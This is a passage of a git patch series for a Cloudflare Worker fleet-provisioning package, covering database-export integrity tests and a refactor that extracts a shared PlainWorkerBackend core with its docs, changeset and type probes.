expect(getR2Bucket).toHaveBeenCalledWith('bucket', 'default'); + expect(createR2Bucket).toHaveBeenCalledWith(resource, owned); + expect(assertR2BucketEmpty).toHaveBeenCalledWith(resource); + expect(deleteR2Bucket).toHaveBeenCalledWith(resource, owned); + const absent = await api(new FakeRunner()); + expect(absent.getR2Bucket).toBeUndefined(); + expect(absent.listWorkerR2Attachments).toBeUndefined(); + expect(absent.createR2Bucket).toBeUndefined(); + expect(absent.assertR2BucketEmpty).toBeUndefined(); + expect(absent.deleteR2Bucket).toBeUndefined(); + }); +}); + +describe('WranglerPlainWorkerProvisioningApi exports', () => { + it('removes export scratch when the fence denies dispatch', async () => { + const exportDirectory = await mkdtemp(join(tmpdir(), 'adapter-export-')); + exportDirectories.add(exportDirectory); + const denied = new Error('lease lost before export dispatch'); + const runner = new FakeRunner(); + const subject = await api(runner, { exportDirectory }); + await expect( + subject.exportDatabase( + { id: 'db', name: 'name' }, + mutationFence( + vi.fn(async () => { + throw denied; + }), + ), + ), + ).rejects.toBe(denied); + const actual = + await vi.importActual( + 'node:fs/promises', + ); + await expect(actual.readdir(exportDirectory)).resolves.toEqual([]); + expect(runner.calls).toEqual([]); + }); + + async function exportSubject( + options: { + readonly bytes?: string; + readonly store?: DurableDatabaseExportStore; + readonly output?: 'file' | 'empty' | 'directory'; + } = {}, + ) { + let outputPath = ''; + const runner = new FakeRunner(async (arguments_) => { + outputPath = arguments_[arguments_.indexOf('--output') + 1] as string; + if (options.output === 'directory') { + const fs = + await vi.importActual( + 'node:fs/promises', + ); + await fs.mkdir(outputPath); + } else { + await writeFile( + outputPath, + options.output === 'empty' ? '' : (options.bytes ?? 'select 1;'), + ); + } + return { stdout: '', stderr: '' }; + }); + return { + subject: await api(runner, { exportStore: options.store }), + output: () => outputPath, + }; + } + + it('rejects a store that reads only one prefix byte', async () => { + const store: DurableDatabaseExportStore = { + async write(input) { + const reader = input.body.getReader(); + const first = await reader.read(); + const bytes = first.done ? new Uint8Array() : first.value.slice(0, 1); + return { + location: 'memory://prefix', + size: bytes.byteLength, + sha256: createHash('sha256').update(bytes).digest('hex'), + }; + }, + }; + const { subject, output } = await exportSubject({ + bytes: 'complete export', + store, + }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toThrow( + 'durable database export store returned mismatched committed integrity', + ); + await expectExportScratchRemoved(output()); + }); + + it('rejects a store that never reads the body and claims the empty digest', async () => { + const store: DurableDatabaseExportStore = { + async write(input) { + await input.body.cancel(); + return { + location: 'memory://empty', + size: 0, + sha256: createHash('sha256').digest('hex'), + }; + }, + }; + const { subject, output } = await exportSubject({ + bytes: 'complete export', + store, + }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toThrow( + 'durable database export store returned mismatched committed integrity', + ); + await expectExportScratchRemoved(output()); + }); + + it('rejects a multi-chunk export store that commits only the first chunk', async () => { + const store: DurableDatabaseExportStore = { + async write(input) { + const reader = input.body.getReader(); + const first = await reader.read(); + if (first.done) throw new Error('expected a first export chunk'); + await reader.cancel(); + return { + location: 'memory://first-chunk', + size: first.value.byteLength, + sha256: createHash('sha256').update(first.value).digest('hex'), + }; + }, + }; + const { subject, output } = await exportSubject({ + bytes: 'x'.repeat(128 * 1024 + 1), + store, + }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toThrow( + 'durable database export store returned mismatched committed integrity', + ); + await expectExportScratchRemoved(output()); + }); + + it.each([ + 'empty', + 'directory', + ] as const)('refuses %s export output and removes scratch', async (outputKind) => { + const { subject, output } = await exportSubject({ output: outputKind }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toThrow('Wrangler database export is not a non-empty file'); + await expectExportScratchRemoved(output()); + }); + + it.each([ + 'chmod', + 'stat', + ] as const)('propagates %s failure and removes export scratch', async (operation) => { + fsControl.failOperation = operation; + const failure = new Error(`${operation} failed`); + fsControl.operationError = failure; + const { subject, output } = await exportSubject(); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toBe(failure); + await expectExportScratchRemoved(output()); + }); + + it('propagates runner failure and removes export scratch', async () => { + const failure = new Error('export dispatch failed'); + let outputPath = ''; + const runner = new FakeRunner(async (arguments_) => { + outputPath = arguments_[arguments_.indexOf('--output') + 1] as string; + throw failure; + }); + const subject = await api(runner); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toBe(failure); + await expectExportScratchRemoved(outputPath); + }); + + it('propagates store failures and removes scratch', async () => { + const storeError = new Error('store failed'); + const { subject, output } = await exportSubject({ + store: { + async write() { + throw storeError; + }, + }, + }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toBe(storeError); + await expectExportScratchRemoved(output()); + }); + + it('returns the independent digest, size, location, and secure file mode', async () => { + const bytes = 'fixture export bytes'; + let mode: number | undefined; + let outputPath = ''; + const runner = new FakeRunner(async (arguments_) => { + outputPath = arguments_[arguments_.indexOf('--output') + 1] as string; + await writeFile(outputPath, bytes); + return { stdout: '', stderr: '' }; + }); + const store: DurableDatabaseExportStore = { + async write(input) { + mode = (await stat(outputPath)).mode & 0o777; + const body = await drain(input.body); + return { + location: 'memory://complete', + size: body.size, + sha256: body.sha256, + }; + }, + }; + const subject = await api(runner, { exportStore: store }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).resolves.toEqual({ + location: 'memory://complete', + size: Buffer.byteLength(bytes), + sha256: createHash('sha256').update(bytes).digest('hex'), + }); + expect(mode).toBe(0o600); + await expectExportScratchRemoved(outputPath); + }); + + it('refuses an empty durable location', async () => { + const store: DurableDatabaseExportStore = { + async write(input) { + const body = await drain(input.body); + return { + location: '', + size: body.size, + sha256: body.sha256, + }; + }, + }; + const { subject, output } = await exportSubject({ store }); + await expect( + subject.exportDatabase({ id: 'db', name: 'name' }, mutationFence()), + ).rejects.toThrow( + 'durable database export store returned mismatched committed integrity', + ); + await expectExportScratchRemoved(output()); + }); +}); From cfcd24c2a54734eadcefa034ffd395ffe904ec27 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 26 Aug 2026 10:51:18 +0400 Subject: [PATCH 002/169] refactor(fleet-control): extract the provider-neutral PlainWorkerBackend core Checkpoint B1b of the Worker-native control-plane work. The ordinary-Worker policy that lived in WranglerLoopBackend moves, as a rename, into an exported PlainWorkerBackend core that depends only on PlainWorkerProvisioningApi plus a diagnostic identityCaller and injected fetch, clock, and maintenance timeout. WranglerLoopBackend is now a 57-line wrapper: it validates three adapter inputs and the maintenance timeout in the historic order, builds WranglerPlainWorkerProvisioningApi, and extends the core. The direct Cloudflare-API backend (B2) reuses the same core with a REST adapter. Public API (minor changeset): PlainWorkerBackend, PlainWorkerBackendOptions, PlainWorkerProvisioningApi and its record, outcome, and intent types. The core is documented as not a supported extension point; its constructor options are unstable until the direct-API backend lands. Deliberate differences from the previous commit, each pinned by a test: 1. Eleven Wrangler-worded diagnostic sites (ten distinct messages) now use provider-neutral wording; error-message text compatibility is not claimed. 2. WranglerLoopBackend extends PlainWorkerBackend (same options, same members); validation order preserved via resolveMaintenanceRequestTimeoutMs. 3. New public exports, changeset, README and API-reference entries. 4. A scratch-cleanup failure after a successful upload is rethrown as WorkerDeploymentError with createdByAttempt set from the attempt's created flag and resourceState 'present', so provisioning rolls back only a Worker this attempt created instead of orphaning it; pinned in the core suite, the wrapper suite, and two provisionDeployment-level tests (created and pre-existing arms). 5. The route-mutation fence contract is documented on PlainWorkerRouteApi (members unchanged) and pinned by ordering tests in both withMutationFence shapes, and the backend-owned pre-assertions before promotion attach, traffic detach, and the maintenance request are pinned in both shapes; no assertion sites changed. Adds an in-memory PlainWorkerProvisioningApi fake and a core-unit suite whose policy cases run the core with no CLI adapter present; the legacy backend suite remains the behavioral compatibility proof (six literal expectations updated for wording). The packed-consumer probe type-checks the new exports against the tarball. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01At85hntr2BHB6jwKFoFaRD --- .changeset/neat-workers-share.md | 19 + docs/api-reference.md | 4 +- packages/fleet-control/README.md | 2 + .../scripts/packed-consumer-test.mjs | 41 + packages/fleet-control/src/index.ts | 16 + .../fleet-control/src/plain-worker-backend.ts | 2056 +++++++++++++++++ .../src/provider-binding-inventory.ts | 6 +- packages/fleet-control/src/types.ts | 30 +- .../src/wrangler-loop-backend.ts | 2036 +--------------- .../test/fixtures/plain-worker-port-probe.ts | 11 + .../plain-worker-provisioning-api-fake.ts | 405 ++++ .../test/plain-worker-backend.test.ts | 762 ++++++ packages/fleet-control/test/provision.test.ts | 325 ++- ...rangler-loop-backend-port-contract.test.ts | 38 +- .../test/wrangler-loop-backend.test.ts | 2 +- 15 files changed, 3726 insertions(+), 2027 deletions(-) create mode 100644 .changeset/neat-workers-share.md create mode 100644 packages/fleet-control/src/plain-worker-backend.ts create mode 100644 packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts create mode 100644 packages/fleet-control/test/plain-worker-backend.test.ts diff --git a/.changeset/neat-workers-share.md b/.changeset/neat-workers-share.md new file mode 100644 index 00000000..f4fabe13 --- /dev/null +++ b/.changeset/neat-workers-share.md @@ -0,0 +1,19 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Export the shared `PlainWorkerBackend`, its `PlainWorkerProvisioningApi` port, and the port's ordinary-Worker record types. Port adapters must verify database exports independently against the durable store's committed size and digest. `WranglerLoopBackend` now extends this core while retaining the same constructor options and provisioning members. + +Harden ordinary-Worker provisioning and teardown: + +- **BEHAVIOR CHANGE:** Surface a lost external mutation lease as a failure instead of masking it behind a post-dispatch readback. +- Preserve both operation and scratch-cleanup failures without masking either. +- **BEHAVIOR CHANGE:** Refuse D1 bindings and database inventory entries with an empty primary identifier instead of accepting a fallback field or malformed inventory. +- **BEHAVIOR CHANGE:** Reject malformed Worker version inventory that omits an identifier instead of treating the entry as provider absence. +- **BEHAVIOR CHANGE:** Keep lease denials distinct from provider absence during Worker deletion. +- Allocate adapter-owned upload scratch only when an upload is required. +- **BEHAVIOR CHANGE:** Classify post-install scratch-cleanup failures so callers remove only Workers created by the failed attempt. + +Provider-neutral error messages now describe plain-Worker and provider operations instead of Wrangler. Error-message text compatibility is not claimed by this release. + +When upgrading, consumers that matched `deployWorker` rejections by identity or message text should catch `WorkerDeploymentError` and read `createdByAttempt` and `resourceState`. diff --git a/docs/api-reference.md b/docs/api-reference.md index 200bdc63..2361876c 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -68,11 +68,11 @@ The migration and idempotency surfaces are grouped by subpath: | Surface | Main exports | | --- | --- | -| Provisioning | `provisionDeployment`, `cleanupDeploymentArtifacts`, `decommissionDeployment`, `forceDecommissionDeployment`, `ProvisionDeploymentOptions`, `ProvisioningBackend`, `PlainWorkerRouteApi`, and `SeedDeploymentIdentityOptions` | +| Provisioning | `provisionDeployment`, `cleanupDeploymentArtifacts`, `decommissionDeployment`, `forceDecommissionDeployment`, `ProvisionDeploymentOptions`, `ProvisioningBackend`, `PlainWorkerProvisioningApi`, `PlainWorkerCleanupOutcome`, `PlainWorkerDatabaseExportResult`, `PlainWorkerDatabaseInventoryEntry`, `PlainWorkerDeploymentStatus`, `PlainWorkerMutationOutcome`, `PlainWorkerUploadIntent`, `PlainWorkerUploadIntentBase`, `PlainWorkerUploadOutcome`, `PlainWorkerVersionBinding`, `PlainWorkerVersionDetail`, `PlainWorkerVersionSummary`, `PlainWorkerRouteApi`, and `SeedDeploymentIdentityOptions` | | Fleet lifecycle | `migrateFleet`, `rollbackExternalRelease`, `auditFleetDrift`, `fleetVersionReport`, `FleetRecord`, and `D1FleetStateStore` | | Active-route attestation | `attestFleetRecordActiveRoute`, `attestConvergedActiveRoute`, `ActiveRouteAttestation`, `ActiveRouteAttestationError`, `ActiveRouteExpectation`, `AttestConvergedActiveRouteOptions`, and `ObservedActiveRoute` | | Settlement | `fleetSettlementKey`, `FleetSettlementContext`, `FleetSettlementEntry`, and `FleetSettlementHost` | -| Backends and provider client | `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` | +| Backends and provider client | `PlainWorkerBackend`, `PlainWorkerBackendOptions`, `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` | ## Browser and server boundaries diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index 507f8e7c..30effda4 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -45,6 +45,8 @@ The three Worker exports are deployment artifacts for the platform's own Workers Construct `WorkersForPlatformsBackend` with a dispatch namespace, one named shared outbound Worker, and a state-egress root secret. All three values are mandatory. The constructor rejects an incomplete dispatch-native configuration before it can call a provider. +`PlainWorkerBackend` is the shared ordinary-Worker core that `WranglerLoopBackend` wraps. It is not intended for subclassing outside Fleet Control. + An ordinary state Worker can exist only as the finalized result of the dedicated plain-to-Workers-for-Platforms switch. Pass its narrow finalized-state provider back to provision, migration, and rollback operations. That provider exact-inspects and advances the retained bridge without allowing the normal backend to originate ordinary state resources. The state-egress credential digest is immutable after a deployment adopts or creates trusted state. Rotating `FLEET_STATE_EGRESS_ROOT_SECRET` for an existing deployment requires a coordinated credential migration that updates trusted state and host routing together. Fleet control attests the derived digest and the exact secret-name inventory, but Cloudflare does not expose secret values for comparison. diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 654d7c7b..19a1d5d4 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -184,6 +184,7 @@ try { ActiveRouteAttestationError, CloudflareProvisioningClient, D1CloudflareApiRateCoordinator, + PlainWorkerBackend, ProcessLocalCloudflareApiRateCoordinator, ProvisioningError, WorkersForPlatformsBackend, @@ -212,8 +213,21 @@ try { type FleetStateDatabase, type InitialExecutionFenceState, type ObservedActiveRoute, + type PlainWorkerBackendOptions, + type PlainWorkerCleanupOutcome, type PlainWorkerCustomDomain, + type PlainWorkerDatabaseExportResult, + type PlainWorkerDatabaseInventoryEntry, + type PlainWorkerDeploymentStatus, + type PlainWorkerMutationOutcome, + type PlainWorkerProvisioningApi, type PlainWorkerRouteApi, + type PlainWorkerUploadIntent, + type PlainWorkerUploadIntentBase, + type PlainWorkerUploadOutcome, + type PlainWorkerVersionBinding, + type PlainWorkerVersionDetail, + type PlainWorkerVersionSummary, type ProvisioningBackend, type SeedDeploymentIdentityOptions, type WorkersForPlatformsApi, @@ -237,6 +251,28 @@ declare const deploymentSpec: DeploymentSpec; declare const provisioningBackend: ProvisioningBackend; declare const fleetRecord: FleetRecord; declare const plainWorkerRouteApi: PlainWorkerRouteApi; +declare const plainWorkerProvisioningApiShape: PlainWorkerProvisioningApi; +const plainWorkerBackendOptions: PlainWorkerBackendOptions = { + api: plainWorkerProvisioningApiShape, + identityCaller: 'PackedConsumer.seedDeploymentIdentity', +}; +const plainWorkerBackend: ProvisioningBackend = new PlainWorkerBackend( + plainWorkerBackendOptions, +); +type PlainWorkerPortRecords = readonly [ + PlainWorkerCleanupOutcome, + PlainWorkerDatabaseExportResult, + PlainWorkerDatabaseInventoryEntry, + PlainWorkerDeploymentStatus, + PlainWorkerMutationOutcome, + PlainWorkerUploadIntent, + PlainWorkerUploadIntentBase, + PlainWorkerUploadOutcome, + PlainWorkerVersionBinding, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, +]; +declare const plainWorkerPortRecords: PlainWorkerPortRecords; // The provisioning-time fence state a control plane has to choose. Named here // because it is a REQUIRED provisionDeployment option: a consumer that cannot // import its type cannot type its own provisioning wrapper. @@ -298,6 +334,7 @@ const settlementHost: FleetSettlementHost = { void ActiveRouteAttestationError; void CloudflareProvisioningClient; void D1CloudflareApiRateCoordinator; +void PlainWorkerBackend; void ProcessLocalCloudflareApiRateCoordinator; void ProvisioningError; void WorkersForPlatformsBackend; @@ -326,6 +363,10 @@ void deploymentSpec; void provisioningBackend; void fleetRecord; void plainWorkerRouteApi; +void plainWorkerProvisioningApiShape; +void plainWorkerBackendOptions; +void plainWorkerBackend; +void plainWorkerPortRecords; void initialExecutionFenceState; void lockedAtBirth; void seedOptions; diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 5c9c268b..2429c777 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -61,6 +61,10 @@ export { rollbackExternalRelease, } from './fleet.js'; export type { HostRoutingTarget } from './host-routing.js'; +export { + PlainWorkerBackend, + type PlainWorkerBackendOptions, +} from './plain-worker-backend.js'; export { type PlatformPlaneClient, type PlatformPlaneResult, @@ -136,8 +140,20 @@ export { type LiveDeployment, type MaintenanceHealth, type ObservedActiveRoute, + type PlainWorkerCleanupOutcome, type PlainWorkerCustomDomain, + type PlainWorkerDatabaseExportResult, + type PlainWorkerDatabaseInventoryEntry, + type PlainWorkerDeploymentStatus, + type PlainWorkerMutationOutcome, + type PlainWorkerProvisioningApi, type PlainWorkerRouteApi, + type PlainWorkerUploadIntent, + type PlainWorkerUploadIntentBase, + type PlainWorkerUploadOutcome, + type PlainWorkerVersionBinding, + type PlainWorkerVersionDetail, + type PlainWorkerVersionSummary, type PlatformPlaneLease, type PlatformPlaneResourceSet, type PlatformPlaneStateStore, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts new file mode 100644 index 00000000..d426d6c1 --- /dev/null +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -0,0 +1,2056 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + provisionDeploymentIdentityProtocol, + readDeploymentIdentityProtocol, +} from '@proofoftech/flowsafe/deployment-identity-protocol'; +import { ActiveRouteAttestationError } from './active-route.js'; +import { + applicationSecretValues, + canonicalApplicationBindings, +} from './application-bindings.js'; +import { isSha256 } from './deployment-context.js'; +import { WorkerDeploymentError } from './deployment-error.js'; +import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js'; +import { applyMigrationsWithLedger } from './migration-ledger.js'; +import { assertSupportedPlainWorkerBindings } from './provider-binding-inventory.js'; +import { deploymentSpecDigest } from './spec-digest.js'; +import type { + ActiveRouteAttestation, + D1Migration, + DatabaseExport, + DatabaseReference, + DeploymentEgressPolicy, + DeploymentSecrets, + DeploymentSpec, + ExternalMutationFence, + ExternalPlatformResources, + ExternalReleaseSnapshot, + FleetRecord, + ForceDecommissionStep, + LiveDeployment, + MaintenanceHealth, + PlainWorkerCustomDomain, + PlainWorkerProvisioningApi, + PlainWorkerUploadOutcome, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, + PromotionGuard, + ProvisioningBackend, + SeedDeploymentIdentityOptions, +} from './types.js'; +import { targetDurableObjectTag } from './validation.js'; + +const PLAIN_INGRESS_CONTRACT = 'guarded-object-v1'; +const PLAIN_INGRESS_MODULE = '__anchorage_guarded_entry__.js'; +const EXACT_DATABASE_DELETION_REQUIRED = + 'plain Worker route API does not support exact-ID D1 database deletion'; +const JAVASCRIPT_CONTENT_TYPES = new Set([ + 'application/javascript', + 'application/javascript+module', + 'text/javascript', +]); + +interface DeploymentVersion { + readonly id: string; + readonly percentage: number; +} + +interface DeploymentStatus { + readonly versions: readonly DeploymentVersion[]; +} + +function restD1Bindings( + bindings: readonly unknown[], + operation: string, +): readonly string[] { + if (bindings.some((binding) => typeof binding !== 'string')) { + throw new Error(`${operation} D1 bindings must be strings`); + } + return bindings as readonly string[]; +} + +export function plainWorkerIngressModule(spec: DeploymentSpec): Readonly<{ + name: string; + content: string; +}> { + if (spec.modules.some((module) => module.name === PLAIN_INGRESS_MODULE)) { + throw new Error( + `Worker modules reserve '${PLAIN_INGRESS_MODULE}' for the guarded fleet entrypoint`, + ); + } + const main = spec.modules.find((module) => module.name === spec.mainModule); + if ( + !main || + typeof main.content !== 'string' || + (main.contentType !== undefined && + !JAVASCRIPT_CONTENT_TYPES.has(main.contentType)) || + main.name.startsWith('/') || + main.name.split('/').includes('..') || + /[?#\\]/u.test(main.name) + ) { + throw new Error( + 'plain Worker mainModule must be an importable string JavaScript ES module', + ); + } + const importSpecifier = JSON.stringify(`./${main.name}`); + const localClasses = [ + ...new Set( + spec.durableObjectBindings.flatMap((binding) => + binding.scriptName === undefined ? [binding.className] : [], + ), + ), + ].sort(); + if ( + localClasses.some( + (className) => !/^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(className), + ) + ) { + throw new Error( + 'plain Worker contains an invalid local Durable Object class', + ); + } + const reexports = + localClasses.length > 0 + ? `export { ${localClasses.join(', ')} } from ${importSpecifier};\n` + : ''; + const routeHostname = JSON.stringify( + new URL(`https://${spec.routeHostname}`).hostname + .toLowerCase() + .replace(/\.$/u, ''), + ); + const controlHostname = JSON.stringify( + new URL(spec.maintenanceBaseUrl).hostname.toLowerCase().replace(/\.$/u, ''), + ); + return { + name: PLAIN_INGRESS_MODULE, + content: `import __anchorageUserEntrypoint from ${importSpecifier}; +${reexports}if ( + !__anchorageUserEntrypoint || + typeof __anchorageUserEntrypoint !== 'object' || + typeof __anchorageUserEntrypoint.fetch !== 'function' +) { + throw new TypeError('plain Worker entrypoint must default-export an object with fetch'); +} +const __anchorageUserFetch = __anchorageUserEntrypoint.fetch; +const __anchorageRouteHostname = ${routeHostname}; +const __anchorageControlHostname = ${controlHostname}; +const __anchorageEnsurePath = '/admin/ensure-maintenance'; +const __anchorageStatusPath = '/admin/maintenance-status'; +const __anchorageReject = () => new Response(null, { status: 404 }); +export default { + ...__anchorageUserEntrypoint, + async fetch(request, env, context) { + const url = new URL(request.url); + const hostname = url.hostname.toLowerCase().replace(/\\.$/u, ''); + if (hostname === __anchorageRouteHostname) { + if (request.headers.has('Cloudflare-Workers-Version-Overrides')) { + return __anchorageReject(); + } + } else { + if (hostname !== __anchorageControlHostname) { + return __anchorageReject(); + } + const validOperation = + (url.pathname === __anchorageEnsurePath && request.method === 'POST') || + (url.pathname === __anchorageStatusPath && request.method === 'GET'); + const authorization = request.headers.get('authorization'); + if ( + !validOperation || + url.search !== '' || + authorization === null || + !/^Bearer [\\x21-\\x7e]{32,256}$/u.test(authorization) + ) { + return __anchorageReject(); + } + } + return Reflect.apply(__anchorageUserFetch, __anchorageUserEntrypoint, [ + request, + env, + context, + ]); + }, +}; +`, + }; +} + +/** + * Constructor options for the shared ordinary-Worker implementation. + */ +export interface PlainWorkerBackendOptions { + /** Provider operations used by the shared ordinary-Worker policy. */ + readonly api: PlainWorkerProvisioningApi; + /** + * Prefix for deployment-identity protocol refusal messages. This value is + * diagnostic only and is never persisted. + */ + readonly identityCaller: string; + readonly fetch?: typeof fetch; + readonly maintenanceRequestTimeoutMs?: number; + /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */ + readonly clock?: () => number; +} + +/** + * Validate the maintenance request timeout before the wrapper constructs its + * adapter, preserving the historic constructor guard order. This helper is + * exported for the wrapper but intentionally omitted from the package barrel. + */ +export function resolveMaintenanceRequestTimeoutMs( + value: number | undefined, +): number { + const maintenanceRequestTimeoutMs = value ?? 30_000; + if ( + !Number.isSafeInteger(maintenanceRequestTimeoutMs) || + maintenanceRequestTimeoutMs < 1 + ) { + throw new Error('maintenance request timeout must be positive'); + } + return maintenanceRequestTimeoutMs; +} + +/** + * Shared provider-neutral ordinary-Worker implementation over + * `PlainWorkerProvisioningApi`. + * + * Its constructor options are unstable until the direct-API backend lands. Its + * public members are invoked by the class itself — database and R2 + * reconciliation, failed-deployment rollback, and teardown — so overriding any + * of them changes behavior the class depends on internally; do not subclass it + * outside this package. + * + * Mutation duration has two independent bounds. Port-level operations use + * `maxMutationDurationMs`, while maintenance requests use the injected request + * timeout. Both must remain below the external mutation-fence lease lifetime. + * + * The route contract asserts the fence immediately before every provider + * request. This class also retains historic pre-assertions before promotion's + * custom-domain attach, normal traffic removal's detach, and the maintenance + * request before dispatch. Force detach, public-access disable, and secret + * deletion rely on the route contract. + */ +export class PlainWorkerBackend implements ProvisioningBackend { + readonly kind = 'plain-worker' as const; + readonly #api: PlainWorkerProvisioningApi; + readonly #identityCaller: string; + readonly #fetch: typeof fetch; + readonly #maintenanceRequestTimeoutMs: number; + readonly #clock: () => number; + + constructor(options: PlainWorkerBackendOptions) { + const maintenanceRequestTimeoutMs = resolveMaintenanceRequestTimeoutMs( + options.maintenanceRequestTimeoutMs, + ); + this.#api = options.api; + this.#identityCaller = options.identityCaller; + this.#fetch = options.fetch ?? fetch; + this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; + this.#clock = options.clock ?? Date.now; + } + + #assertMutationDuration(fence: ExternalMutationFence): void { + if ( + !Number.isSafeInteger(fence.mutationLeaseTtlMs) || + fence.mutationLeaseTtlMs < 1 + ) { + throw new Error('external mutation fence lease TTL must be positive'); + } + if ( + !Number.isSafeInteger(this.#api.maxMutationDurationMs) || + this.#api.maxMutationDurationMs < 1 + ) { + throw new Error('provider mutation maximum duration must be positive'); + } + if (this.#api.maxMutationDurationMs >= fence.mutationLeaseTtlMs) { + throw new Error( + 'provider mutation maximum duration must be below the external mutation fence lease TTL', + ); + } + } + + async #assertMutationFence(fence: ExternalMutationFence): Promise { + this.#assertMutationDuration(fence); + await fence.assertOwned(); + } + + async findDatabase( + spec: DeploymentSpec, + ): Promise { + const listed = await this.#api.listDatabases(); + const matches = listed.filter( + (database) => database.name === spec.databaseName, + ); + if (matches.length > 1) { + throw new Error(`multiple D1 databases are named '${spec.databaseName}'`); + } + if (matches[0]) { + const id = matches[0].databaseId; + if (!id) throw new Error('D1 list result has no uuid'); + return { id, name: spec.databaseName, created: false }; + } + return undefined; + } + + async getDatabase( + databaseId: string, + ): Promise { + return this.#api.getDatabase(databaseId); + } + + async ensureDatabase( + spec: DeploymentSpec, + fence: ExternalMutationFence, + ): Promise { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDatabase(spec.databaseName, fence); + if (outcome.status === 'failed') { + const recovered = await this.findDatabase(spec); + if (recovered) { + const owner = await this.readDeploymentIdentity(recovered, fence); + if (owner !== undefined) { + throw new Error( + `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`, + { cause: outcome.error }, + ); + } + return { ...recovered, created: true }; + } + throw outcome.error; + } + const resolved = await this.findDatabase(spec); + if (!resolved) { + throw new Error( + `D1 database '${spec.databaseName}' is absent after successful creation`, + ); + } + return { ...resolved, created: true }; + } + + async #query( + database: DatabaseReference, + sql: string, + fence: ExternalMutationFence, + bindings: readonly unknown[] = [], + ): Promise>[]> { + return this.#api.withMutationFence(fence, () => + this.#api.queryDatabase( + database.id, + sql, + restD1Bindings(bindings, 'plain Worker'), + ), + ); + } + + async seedDeploymentIdentity( + database: DatabaseReference, + tenantTag: string, + fence: ExternalMutationFence, + options: SeedDeploymentIdentityOptions, + ): Promise { + await provisionDeploymentIdentityProtocol( + (statement) => + this.#query(database, statement.sql, fence, statement.bindings), + tenantTag, + { + caller: this.#identityCaller, + initialExecutionFenceState: options.initialExecutionFenceState, + }, + ); + } + + readDeploymentIdentity( + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + return readDeploymentIdentityProtocol((statement) => + this.#query(database, statement.sql, fence, statement.bindings), + ); + } + + async applyMigrations( + database: DatabaseReference, + migrations: readonly D1Migration[], + fence: ExternalMutationFence, + ): Promise { + await applyMigrationsWithLedger( + { + query: (sql, bindings) => this.#query(database, sql, fence, bindings), + batch: (statements) => + this.#api.withMutationFence(fence, () => + this.#api.batchDatabase( + database.id, + statements.map((statement) => ({ + sql: statement.sql, + bindings: restD1Bindings( + statement.bindings ?? [], + 'plain Worker batch', + ), + })), + ), + ), + }, + migrations, + ); + } + + async findApplicationR2Bucket( + resource: import('./types.js').ApplicationR2Binding, + ): Promise { + if (!this.#api.getR2Bucket) { + throw new Error('plain Worker route API does not support application R2'); + } + const found = await this.#api.getR2Bucket( + resource.bucketName, + resource.jurisdiction, + ); + return found + ? { ...resource, creationDate: found.creationDate } + : undefined; + } + + async ensureApplicationR2Bucket( + resource: import('./types.js').ApplicationR2Binding, + fence: ExternalMutationFence, + ): Promise { + if (!this.#api.createR2Bucket) { + throw new Error('plain Worker route API does not support application R2'); + } + try { + await this.#api.createR2Bucket(resource, fence); + } catch (error) { + const reconciled = await this.findApplicationR2Bucket(resource); + if (reconciled) return reconciled; + if ( + error && + typeof error === 'object' && + 'status' in error && + error.status === 409 + ) { + throw new Error( + `R2 bucket '${resource.bucketName}' conflicts with a foreign resource`, + ); + } + throw error; + } + const confirmed = await this.findApplicationR2Bucket(resource); + if (!confirmed) + throw new Error( + `R2 bucket '${resource.bucketName}' is absent after create`, + ); + return confirmed; + } + + async assertApplicationR2Detached( + resource: import('./types.js').ApplicationR2Binding, + _fence: ExternalMutationFence, + ): Promise { + if (!this.#api.listWorkerR2Attachments) { + throw new Error('plain Worker route API cannot scan R2 attachments'); + } + const attachments = await this.#api.listWorkerR2Attachments( + resource.bucketName, + ); + if (attachments.length > 0) { + throw new Error( + `R2 bucket '${resource.bucketName}' remains attached to a Worker`, + ); + } + } + + async assertApplicationR2Empty( + resource: import('./types.js').ApplicationR2Binding, + _fence: ExternalMutationFence, + ): Promise { + if (!this.#api.assertR2BucketEmpty) { + throw new Error('plain Worker route API cannot inspect R2 contents'); + } + await this.#api.assertR2BucketEmpty(resource); + } + + async deleteApplicationR2Bucket( + resource: 